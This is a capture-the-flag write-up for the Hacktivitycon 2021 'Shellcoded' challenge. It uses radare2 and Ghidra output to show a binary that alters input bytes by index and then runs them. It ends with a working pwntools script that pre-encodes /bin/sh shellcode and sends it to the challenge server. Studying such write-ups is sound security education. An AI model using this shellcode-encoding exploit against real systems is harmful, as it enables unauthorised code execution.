Hacktivitycon CTF 2021 - Shellcoded

"Shellcoded" is a binary exploitation challenge in Hacktivitycon CTF 2021. You can download the challenge file here.

Details

Similarly to how we solve retcheck, let's perform static analysis on the binary.

<cjason@cj-basepc:shellcoded>>$ pwn checksec shellcoded
[!] Could not populate PLT: The 'unicorn<1.0.2rc4,>=1.0.2rc1' distribution was not found and is required by pwntools
[*] '/home/cjason/ctfs/hacktivity/pwn/shellcoded/shellcoded'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

<cjason@cj-basepc:shellcoded>>$ r2 shellcoded
Warning: run r2 with -e bin.cache=true to fix relocations in disassembly
WARNING: No calling convention defined for this file, analysis may be inaccurate.
 -- Run a command with unspecified long sequence of 'a', pancake will be summoned and do the analysis for you.
[0x000011c0]> aaa
[Warning: set your favourite calling convention in `e anal.cc=?`
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information (aanr)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x000011c0]> afl
0x000011c0    1 47           entry0
0x000011f0    4 41   -> 34   sym.deregister_tm_clones
0x00001220    4 57   -> 51   sym.register_tm_clones
0x00001260    5 57   -> 54   sym.__do_global_dtors_aux
0x000010f0    1 11           sym..plt.got
0x000012a0    1 9            entry.init0
0x00001000    3 27           sym._init
0x00001510    1 5            sym.__libc_csu_fini
0x00001518    1 13           sym._fini
0x000012a9    3 34           sym.timeout
0x00001110    1 11           sym.imp._exit
0x000014a0    4 101          sym.__libc_csu_init
0x0000132a   13 366          main
0x000012cb    1 95           sym.setup
0x00001130    1 11           sym.imp.setbuf
0x00001160    1 11           sym.imp.__sysv_signal
0x00001140    1 11           sym.imp.alarm
0x00001180    1 11           sym.imp.sysconf
0x00001100    1 11           sym.imp.free
0x00001120    1 11           sym.imp.puts
0x00001150    1 11           sym.imp.read
0x00001170    1 11           sym.imp.mprotect
0x00001190    1 11           sym.imp.exit
0x000011a0    1 11           sym.imp.fwrite
0x000011b0    1 11           sym.imp.aligned_alloc
[0x000011c0]> s main
[0x0000132a]> pdf
            ; DATA XREF from entry0 @ 0x11e1
┌ 366: main ();
│           ; var int64_t var_18h @ rbp-0x18
│           ; var int64_t var_14h @ rbp-0x14
│           ; var uint32_t var_10h @ rbp-0x10
│           ; var signed int64_t var_8h @ rbp-0x8
│           0x0000132a      f30f1efa       endbr64
│           0x0000132e      55             push rbp
│           0x0000132f      4889e5         mov rbp, rsp
│           0x00001332      4883ec20       sub rsp, 0x20
│           0x00001336      48c745f00000.  mov qword [var_10h], 0
│           0x0000133e      488b150b2d00.  mov rdx, qword [obj.PAGE_SIZE] ; [0x4050:8]=0
│           0x00001345      488b05042d00.  mov rax, qword [obj.PAGE_SIZE] ; [0x4050:8]=0
│           0x0000134c      4889d6         mov rsi, rdx
│           0x0000134f      4889c7         mov rdi, rax
│           0x00001352      e859feffff     call sym.imp.aligned_alloc
│           0x00001357      488945f0       mov qword [var_10h], rax
│           0x0000135b      48837df000     cmp qword [var_10h], 0
│       ┌─< 0x00001360      752a           jne 0x138c
│       │   0x00001362      488b05d72c00.  mov rax, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│       │                                                              ; [0x4040:8]=0
│       │   0x00001369      4889c1         mov rcx, rax
│       │   0x0000136c      ba1b000000     mov edx, 0x1b
│       │   0x00001371      be01000000     mov esi, 1
│       │   0x00001376      488d3d8b0c00.  lea rdi, str.Failed_to_allocate_memory._n ; 0x2008 ; "Failed to allocate memory.\n"
│       │   0x0000137d      e81efeffff     call sym.imp.fwrite
│       │   0x00001382      bf01000000     mov edi, 1
│       │   0x00001387      e804feffff     call sym.imp.exit
│       │   ; CODE XREF from main @ 0x1360
│       └─> 0x0000138c      488d3d910c00.  lea rdi, str.Enter_your_shellcode. ; 0x2024 ; "Enter your shellcode."
│           0x00001393      e888fdffff     call sym.imp.puts
│           0x00001398      488b15b12c00.  mov rdx, qword [obj.PAGE_SIZE] ; [0x4050:8]=0
│           0x0000139f      488b45f0       mov rax, qword [var_10h]
│           0x000013a3      4889c6         mov rsi, rax
│           0x000013a6      bf00000000     mov edi, 0
│           0x000013ab      e8a0fdffff     call sym.imp.read
│           0x000013b0      488945f8       mov qword [var_8h], rax
│           0x000013b4      48837df800     cmp qword [var_8h], 0
│       ┌─< 0x000013b9      0f88c6000000   js 0x1485
│       │   0x000013bf      c745e8000000.  mov dword [var_18h], 0
│      ┌──< 0x000013c6      eb52           jmp 0x141a
│      ││   ; CODE XREF from main @ 0x1423
│     ┌───> 0x000013c8      8b45e8         mov eax, dword [var_18h]
│     ╎││   0x000013cb      83e001         and eax, 1
│     ╎││   0x000013ce      85c0           test eax, eax
│    ┌────< 0x000013d0      7507           jne 0x13d9
│    │╎││   0x000013d2      b801000000     mov eax, 1
│   ┌─────< 0x000013d7      eb05           jmp 0x13de
│   ││╎││   ; CODE XREF from main @ 0x13d0
│   │└────> 0x000013d9      b8ffffffff     mov eax, 0xffffffff         ; -1
│   │ ╎││   ; CODE XREF from main @ 0x13d7
│   └─────> 0x000013de      8945ec         mov dword [var_14h], eax
│     ╎││   0x000013e1      8b45e8         mov eax, dword [var_18h]
│     ╎││   0x000013e4      4863d0         movsxd rdx, eax
│     ╎││   0x000013e7      488b45f0       mov rax, qword [var_10h]
│     ╎││   0x000013eb      4801d0         add rax, rdx
│     ╎││   0x000013ee      0fb600         movzx eax, byte [rax]
│     ╎││   0x000013f1      89c2           mov edx, eax
│     ╎││   0x000013f3      8b45e8         mov eax, dword [var_18h]
│     ╎││   0x000013f6      89c6           mov esi, eax
│     ╎││   0x000013f8      8b45ec         mov eax, dword [var_14h]
│     ╎││   0x000013fb      89c1           mov ecx, eax
│     ╎││   0x000013fd      89f0           mov eax, esi
│     ╎││   0x000013ff      0fafc1         imul eax, ecx
│     ╎││   0x00001402      8d0c02         lea ecx, [rdx + rax]
│     ╎││   0x00001405      8b45e8         mov eax, dword [var_18h]
│     ╎││   0x00001408      4863d0         movsxd rdx, eax
│     ╎││   0x0000140b      488b45f0       mov rax, qword [var_10h]
│     ╎││   0x0000140f      4801d0         add rax, rdx
│     ╎││   0x00001412      89ca           mov edx, ecx
│     ╎││   0x00001414      8810           mov byte [rax], dl
│     ╎││   0x00001416      8345e801       add dword [var_18h], 1
│     ╎││   ; CODE XREF from main @ 0x13c6
│     ╎└──> 0x0000141a      8b45e8         mov eax, dword [var_18h]
│     ╎ │   0x0000141d      4898           cdqe
│     ╎ │   0x0000141f      483945f8       cmp qword [var_8h], rax
│     └───< 0x00001423      7fa3           jg 0x13c8
│       │   0x00001425      488b0d242c00.  mov rcx, qword [obj.PAGE_SIZE] ; [0x4050:8]=0
│       │   0x0000142c      488b45f0       mov rax, qword [var_10h]
│       │   0x00001430      ba05000000     mov edx, 5
│       │   0x00001435      4889ce         mov rsi, rcx
│       │   0x00001438      4889c7         mov rdi, rax
│       │   0x0000143b      e830fdffff     call sym.imp.mprotect
│       │   0x00001440      85c0           test eax, eax
│      ┌──< 0x00001442      7436           je 0x147a
│      ││   0x00001444      488b45f0       mov rax, qword [var_10h]
│      ││   0x00001448      4889c7         mov rdi, rax
│      ││   0x0000144b      e8b0fcffff     call sym.imp.free
│      ││   0x00001450      488b05e92b00.  mov rax, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│      ││                                                              ; [0x4040:8]=0
│      ││   0x00001457      4889c1         mov rcx, rax
│      ││   0x0000145a      ba22000000     mov edx, 0x22               ; '"'
│      ││   0x0000145f      be01000000     mov esi, 1
│      ││   0x00001464      488d3dd50b00.  lea rdi, str.Failed_to_set_memory_permissions._n ; 0x2040 ;
│      ││   0x0000146b      e830fdffff     call sym.imp.fwrite
│      ││   0x00001470      bf01000000     mov edi, 1
│      ││   0x00001475      e816fdffff     call sym.imp.exit
│      ││   ; CODE XREF from main @ 0x1442
│      └──> 0x0000147a      488b55f0       mov rdx, qword [var_10h]
│       │   0x0000147e      b800000000     mov eax, 0
│       │   0x00001483      ffd2           call rdx
│       │   ; CODE XREF from main @ 0x13b9
│       └─> 0x00001485      488b45f0       mov rax, qword [var_10h]
│           0x00001489      4889c7         mov rdi, rax
│           0x0000148c      e86ffcffff     call sym.imp.free
│           0x00001491      b800000000     mov eax, 0
│           0x00001496      c9             leave
└           0x00001497      c3             ret
[0x0000132a]>

In address 0x000013ab, the program reads in data up to obj.PAGE\_SIZE into the variable var\_10h. Then in address 0x00001483, the program seems to load var\_10h and calls it! Thus, the hint given in the question is no lie, the program does run user given code! But what's the catch? It appears that var\_10h is modified by a loop between reading and calling. We could try and understand the assembly instruction to work out what kind of modification is done to var\_10h. The more efficient way would be to de-compile the function using a radare2 plugin "r2ghidra".

To use r2ghidra, make sure the seek is pointed towards the function that we want to de-compile and enter pdg. The following shows the output:

[0x0000132a]> pdg

// WARNING: Could not reconcile some variable overlaps
// WARNING: [r2ghidra] Matching calling convention reg of function main failed, args may be inaccurate.
// WARNING: [r2ghidra] Failed to match type signed int64_t for variable var_8h to Decompiler type: Unknown type
// identifier signed
// WARNING: [r2ghidra] Detected overlap for variable var_14h
// WARNING: [r2ghidra] Matching calling convention reg of function sym.imp.aligned_alloc failed, args may be inaccurate.
// WARNING: [r2ghidra] Matching calling convention reg of function sym.imp.fwrite failed, args may be inaccurate.
// WARNING: [r2ghidra] Matching calling convention reg of function sym.imp.exit failed, args may be inaccurate.
// WARNING: [r2ghidra] Matching calling convention reg of function sym.imp.puts failed, args may be inaccurate.
// WARNING: [r2ghidra] Matching calling convention reg of function sym.imp.read failed, args may be inaccurate.
// WARNING: [r2ghidra] Matching calling convention reg of function sym.imp.mprotect failed, args may be inaccurate.
// WARNING: [r2ghidra] Matching calling convention reg of function sym.imp.free failed, args may be inaccurate.

undefined8 main(void)

{
    char cVar1;
    int32_t iVar2;
    code *pcVar3;
    int64_t iVar4;
    int64_t var_18h;
    uint32_t var_10h;
    undefined8 var_8h;

    pcVar3 = (code *)sym.imp.aligned_alloc(_obj.PAGE_SIZE, _obj.PAGE_SIZE);
    if (pcVar3 == NULL) {
        sym.imp.fwrite("Failed to allocate memory.\n", 1, 0x1b);
        sym.imp.exit(1);
    }
    sym.imp.puts("Enter your shellcode.");
    iVar4 = sym.imp.read(0, pcVar3, _obj.PAGE_SIZE);
    if (-1 < iVar4) {
        for (var_18h._0_4_ = 0; (int32_t)(uint32_t)var_18h < iVar4; var_18h._0_4_ = (uint32_t)var_18h + 1) {
            if (((uint32_t)var_18h & 1) == 0) {
                cVar1 = '\x01';
            }
            else {
                cVar1 = -1;
            }
            pcVar3[(int32_t)(uint32_t)var_18h] =
                 (code)((char)pcVar3[(int32_t)(uint32_t)var_18h] + (char)(uint32_t)var_18h * cVar1);
        }
        iVar2 = sym.imp.mprotect(pcVar3, _obj.PAGE_SIZE, 5);
        if (iVar2 != 0) {
            sym.imp.free(pcVar3);
            sym.imp.fwrite("Failed to set memory permissions.\n", 1, 0x22, _reloc.stderr);
            sym.imp.exit(1);
        }
        (*pcVar3)();
    }
    sym.imp.free(pcVar3);
    return 0;
}

Indeed, a for-loop which iterates over every character of pcVar3, which I think is the same as var_10h. For every character, this block of code applies:

if (((uint32_t)var_18h & 1) == 0) {
    cVar1 = '\x01';
}
else {
    cVar1 = -1;
}
pcVar3[(int32_t)(uint32_t)var_18h] = (code)((char)pcVar3[(int32_t)(uint32_t)var_18h] + (char)(uint32_t)var_18h * cVar1);

which translates to:

if ( index is even ){
    tmp = 1;
}
else {
    tmp = -1;
}
pcVar3[index] = (char) (pcVar3[index] + (index * tmp));

This means we will need to apply the inverse of the process to our shellcode, so that it gets modified back to its original form when we feed it into the program. Now that we know that, its time to create a shellcode. This is most easily done using pwntool's shellcraft module.

<cjason@cj-basepc:shellcoded>>$ pwn shellcraft amd64.linux.sh -f s
"jhH\xb8\x2fbin\x2f\x2f\x2fsPH\x89\xe7hri\x01\x01\x814\x24\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05"

Let's write our exploit script with the shellcode generated using pwntool's shellcraft.

#!/usr/bin/python

from pwn import *

shellcode = b"jhH\xb8\x2fbin\x2f\x2f\x2fsPH\x89\xe7hri\x01\x01\x814\x24\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05"

barr = shellcode
# unfuck it
rr = b''
for idx, c in enumerate(barr):
    if idx % 2 == 0:
        # reverse
        cvar = -1
    else:
        cvar = 1
    #hx = hex(barr[idx] + idx*cvar)
    ir = barr[idx] + idx*cvar
    if ir < 0:
        ir = ir + 256
    elif ir > 255:
        ir = ir - 256
    rr += p8(ir)

conn = remote('challenge.ctf.games', 32383)
conn.sendline(rr)
conn.interactive()

Run our exploit and we got shell on the system.

Nice.